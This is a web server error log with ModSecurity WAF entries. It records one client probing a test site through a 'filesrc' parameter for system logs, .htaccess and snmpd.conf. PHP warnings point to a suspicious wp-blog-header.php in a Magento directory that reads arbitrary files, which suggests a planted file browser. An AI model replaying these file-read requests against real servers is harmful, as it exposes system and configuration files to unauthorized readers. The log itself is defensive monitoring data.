[Thu Mar 26 04:38:35.045196 2026] [:error] [pid 2957966] [client 74.7.241.26:56516] [client 74.7.241.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSqO3jaQagbQ-omV-drDAAAAAk"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:38:35.045348 2026] [:error] [pid 2957966] [client 74.7.241.26:56516] [client 74.7.241.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSqO3jaQagbQ-omV-drDAAAAAk"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:42:53.702123 2026] [:error] [pid 2957966] [client 74.7.241.26:53284] [client 74.7.241.26] ModSecurity: Warning. Matched phrase "var/log/kern.log" at ARGS:filesrc. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "96"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: var/log/kern.log found within ARGS:filesrc: /var/log/kern.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSrPXjaQagbQ-omV-dsJgAAAAk"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:42:53.702659 2026] [:error] [pid 2957966] [client 74.7.241.26:53284] [client 74.7.241.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSrPXjaQagbQ-omV-dsJgAAAAk"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:42:53.702834 2026] [:error] [pid 2957966] [client 74.7.241.26:53284] [client 74.7.241.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSrPXjaQagbQ-omV-dsJgAAAAk"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:42:58.621299 2026] [:error] [pid 2957966] [client 74.7.241.26:53284] [client 74.7.241.26] ModSecurity: Warning. Matched phrase "var/log/syslog" at ARGS:filesrc. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "96"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: var/log/syslog found within ARGS:filesrc: /var/log/syslog"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSrQnjaQagbQ-omV-dsLwAAAAk"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:42:58.621814 2026] [:error] [pid 2957966] [client 74.7.241.26:53284] [client 74.7.241.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSrQnjaQagbQ-omV-dsLwAAAAk"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:42:58.621958 2026] [:error] [pid 2957966] [client 74.7.241.26:53284] [client 74.7.241.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSrQnjaQagbQ-omV-dsLwAAAAk"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:43:05.034782 2026] [:error] [pid 2957966] [client 74.7.241.26:53284] [client 74.7.241.26] ModSecurity: Warning. Matched phrase ".htaccess" at ARGS:filesrc. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "96"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: .htaccess found within ARGS:filesrc: /var/www/magento.test.indacotrentino.com/www/indacosingle/.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSrSXjaQagbQ-omV-dsOwAAAAk"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/magento.test.indacotrentino.com/www/indacosingle
[Thu Mar 26 04:43:05.035364 2026] [:error] [pid 2957966] [client 74.7.241.26:53284] [client 74.7.241.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSrSXjaQagbQ-omV-dsOwAAAAk"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/magento.test.indacotrentino.com/www/indacosingle
[Thu Mar 26 04:43:05.035497 2026] [:error] [pid 2957966] [client 74.7.241.26:53284] [client 74.7.241.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSrSXjaQagbQ-omV-dsOwAAAAk"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/magento.test.indacotrentino.com/www/indacosingle
[Thu Mar 26 04:43:06.628595 2026] [:error] [pid 2957966] [client 74.7.241.26:53284] [client 74.7.241.26] ModSecurity: Warning. Matched phrase ".htaccess" at ARGS:filesrc. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "96"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: .htaccess found within ARGS:filesrc: /var/www/magento.test.indacotrentino.com/www/generated/.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSrSnjaQagbQ-omV-dsPgAAAAk"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/magento.test.indacotrentino.com/www/generated
[Thu Mar 26 04:43:06.629189 2026] [:error] [pid 2957966] [client 74.7.241.26:53284] [client 74.7.241.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSrSnjaQagbQ-omV-dsPgAAAAk"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/magento.test.indacotrentino.com/www/generated
[Thu Mar 26 04:43:06.629327 2026] [:error] [pid 2957966] [client 74.7.241.26:53284] [client 74.7.241.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSrSnjaQagbQ-omV-dsPgAAAAk"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/magento.test.indacotrentino.com/www/generated
[Thu Mar 26 04:43:07.352759 2026] [php:warn] [pid 2957966] [client 74.7.241.26:53284] PHP Warning: file_get_contents(/var/log/apport.log): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:43:08.460077 2026] [php:error] [pid 2957966] [client 74.7.241.26:53284] PHP Fatal error: Allowed memory size of 805306368 bytes exhausted (tried to allocate 2196020784 bytes) in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/magento.test.indacotrentino.com
[Thu Mar 26 04:43:10.804273 2026] [php:error] [pid 2946665] [client 74.7.241.26:60088] PHP Fatal error: Allowed memory size of 805306368 bytes exhausted (tried to allocate 580557960 bytes) in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/magento.test.indacotrentino.com
[Thu Mar 26 04:43:31.880340 2026] [php:error] [pid 2946679] [client 74.7.241.26:60104] PHP Fatal error: Allowed memory size of 805306368 bytes exhausted (tried to allocate 820163728 bytes) in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/magento.test.indacotrentino.com
[Thu Mar 26 04:45:16.276640 2026] [php:warn] [pid 2976814] [client 74.7.241.26:38078] PHP Warning: file_get_contents(/var/lib/snmp/snmpd.conf): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=/var/lib/snmp
[Thu Mar 26 04:45:50.040137 2026] [:error] [pid 2946678] [client 74.7.241.26:40968] [client 74.7.241.26] ModSecurity: Warning. Matched phrase "var/log/ufw.log" at ARGS:filesrc. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "96"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: var/log/ufw.log found within ARGS:filesrc: /var/log/ufw.log.1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSr7lj7UV7CTEiyWh6FLwAAAAY"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:45:50.040623 2026] [:error] [pid 2946678] [client 74.7.241.26:40968] [client 74.7.241.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSr7lj7UV7CTEiyWh6FLwAAAAY"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:45:50.040756 2026] [:error] [pid 2946678] [client 74.7.241.26:40968] [client 74.7.241.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSr7lj7UV7CTEiyWh6FLwAAAAY"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:45:50.559129 2026] [:error] [pid 2946678] [client 74.7.241.26:40968] [client 74.7.241.26] ModSecurity: Warning. Matched phrase "var/log/syslog" at ARGS:filesrc. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "96"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: var/log/syslog found within ARGS:filesrc: /var/log/syslog.3.gz"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSr7lj7UV7CTEiyWh6FMAAAAAY"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:45:50.559675 2026] [:error] [pid 2946678] [client 74.7.241.26:40968] [client 74.7.241.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSr7lj7UV7CTEiyWh6FMAAAAAY"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:45:50.559857 2026] [:error] [pid 2946678] [client 74.7.241.26:40968] [client 74.7.241.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSr7lj7UV7CTEiyWh6FMAAAAAY"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:45:53.640217 2026] [:error] [pid 2946678] [client 74.7.241.26:40968] [client 74.7.241.26] ModSecurity: Warning. Matched phrase "var/log/syslog" at ARGS:filesrc. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "96"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: var/log/syslog found within ARGS:filesrc: /var/log/syslog.5.gz"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSr8Vj7UV7CTEiyWh6FNgAAAAY"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:45:53.640705 2026] [:error] [pid 2946678] [client 74.7.241.26:40968] [client 74.7.241.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSr8Vj7UV7CTEiyWh6FNgAAAAY"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:45:53.640835 2026] [:error] [pid 2946678] [client 74.7.241.26:40968] [client 74.7.241.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSr8Vj7UV7CTEiyWh6FNgAAAAY"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:45:54.106137 2026] [:error] [pid 2946678] [client 74.7.241.26:40968] [client 74.7.241.26] ModSecurity: Warning. Matched phrase "var/log/syslog" at ARGS:filesrc. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "96"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: var/log/syslog found within ARGS:filesrc: /var/log/syslog.6.gz"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSr8lj7UV7CTEiyWh6FNwAAAAY"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:45:54.106674 2026] [:error] [pid 2946678] [client 74.7.241.26:40968] [client 74.7.241.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSr8lj7UV7CTEiyWh6FNwAAAAY"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:45:54.106855 2026] [:error] [pid 2946678] [client 74.7.241.26:40968] [client 74.7.241.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSr8lj7UV7CTEiyWh6FNwAAAAY"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:45:54.724200 2026] [:error] [pid 2946678] [client 74.7.241.26:40968] [client 74.7.241.26] ModSecurity: Warning. Matched phrase "var/log/syslog" at ARGS:filesrc. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "96"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: var/log/syslog found within ARGS:filesrc: /var/log/syslog.4.gz"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSr8lj7UV7CTEiyWh6FOAAAAAY"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:45:54.724690 2026] [:error] [pid 2946678] [client 74.7.241.26:40968] [client 74.7.241.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSr8lj7UV7CTEiyWh6FOAAAAAY"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:45:54.724829 2026] [:error] [pid 2946678] [client 74.7.241.26:40968] [client 74.7.241.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSr8lj7UV7CTEiyWh6FOAAAAAY"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:45:55.207710 2026] [:error] [pid 2946678] [client 74.7.241.26:40968] [client 74.7.241.26] ModSecurity: Warning. Matched phrase "var/log/syslog" at ARGS:filesrc. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "96"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: var/log/syslog found within ARGS:filesrc: /var/log/syslog.7.gz"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSr81j7UV7CTEiyWh6FOQAAAAY"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:45:55.208214 2026] [:error] [pid 2946678] [client 74.7.241.26:40968] [client 74.7.241.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSr81j7UV7CTEiyWh6FOQAAAAY"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:45:55.208364 2026] [:error] [pid 2946678] [client 74.7.241.26:40968] [client 74.7.241.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSr81j7UV7CTEiyWh6FOQAAAAY"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:45:55.725264 2026] [:error] [pid 2946678] [client 74.7.241.26:40968] [client 74.7.241.26] ModSecurity: Warning. Matched phrase "var/log/syslog" at ARGS:filesrc. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "96"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: var/log/syslog found within ARGS:filesrc: /var/log/syslog.2.gz"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSr81j7UV7CTEiyWh6FOgAAAAY"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:45:55.725748 2026] [:error] [pid 2946678] [client 74.7.241.26:40968] [client 74.7.241.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSr81j7UV7CTEiyWh6FOgAAAAY"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:45:55.725901 2026] [:error] [pid 2946678] [client 74.7.241.26:40968] [client 74.7.241.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSr81j7UV7CTEiyWh6FOgAAAAY"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
